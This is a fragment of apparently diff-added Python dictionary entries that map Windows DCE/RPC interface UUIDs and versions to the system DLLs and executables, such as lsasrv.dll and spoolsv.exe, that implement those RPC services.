+b"\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll", +b"\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll", +b"\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll", +b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll", +b"\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll", +b"\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll", +b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe", +b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll", +b"\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", +b"\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", +b"\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE", +b"\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll", +b"\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll", +b"\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe", +b"\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll", +b"\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll", +b"\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll", +b"\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll", +b"\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll", +b"\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll", +b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe", +b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll", +b"\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe", +b"\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe", +b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll", +b"\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll", +b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll", +b"\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe", +b"\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", +b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe", +b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe", +b"\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe", +b"\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll", +b"\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll", +b"\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll", +b"\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll", +b"\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe", +b"\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll", +b"\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll", +b"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll", +b"\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll", +b"\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll", +b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll", +b"\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe", +b"\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll", +b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL", +b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll", +b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll", +b"\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll", +b"\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll", +b"\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll", +b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", +b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll", +b"\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe", +b"\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll", +b"\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll", +b"\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll", +b"\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe", +b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll", +b"\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server", +b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll", +b"\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe", +b"\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll", +b"\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll", +b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", +b"\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll", +b"\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe", +b"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe", +b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll", +b"\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe", +b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll", +b"\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe", +b"\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe", +b"\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe", +b"\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll", +b"\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll", +b"\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll", +b"\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll", +b"\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL", +b"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll", +b"\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll", +b"\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll", +b"\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll", +b"\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server", +b"\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll", +b"\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll", +b"\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe", +b"\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll", +b"\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll", +b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", +b"\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll", +b"\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll", +b"\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll", +b"\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe", +b"\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll", +b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll", +b"\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll", +b"\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll", +b"\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": "lsasrv.dll", +b"\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll", +b"\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe", +b"\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll", +b"\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll", +b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll", +b"\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll", +b"\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll", +b"\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll", +b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll", +b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll", +b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll", +b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll", +b"\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", +b"\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll", +b"\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll", +b"\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll", +b"\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll", +b"\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll", +b"\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe", +b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll", +b"\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll", +b"\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll", +b"\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll", +b"\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", +b"\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe", +b"\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll", +b"\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll", +b"\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll", +b"\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll", +b"\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe", +b"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll", +b"\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe", +b"\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll", +b"\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll", +b"\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll", +b"\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll", +b"\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe", +b"\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll", +b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll", +b"\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll", +b"\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL", +b"\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll", +b"\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe", +b"\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe", +b"\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", +b"\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll", +b"\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll", +b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll", +b"\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll", +b"\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll", +b"\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll", +b"\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll", +b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe", +b"\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll", +b"\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll", +b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll", +b"\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe", +b"\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll", +b"\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll", +b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll", +b"\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll", +b"\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll", +b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", +b"\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll", +b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll", +b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll", +b"\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll", +b"\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll", +b"\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll", +b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll", +b"\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll", +b"\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE", +b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll", +b"\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe", +b"\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server", +b"\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll", +b"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll", +b"\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe", +b"\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll", +b"\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll", +b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe", +b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll", +b"\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll", +b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe", +b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe", +b"\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll", +b"\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe", +b"\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll", +b"\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe", +b"\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll", +b"\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe", +b"\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll", +b"\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", +b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe", +b"\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll", +b"\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe", +b"\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll", 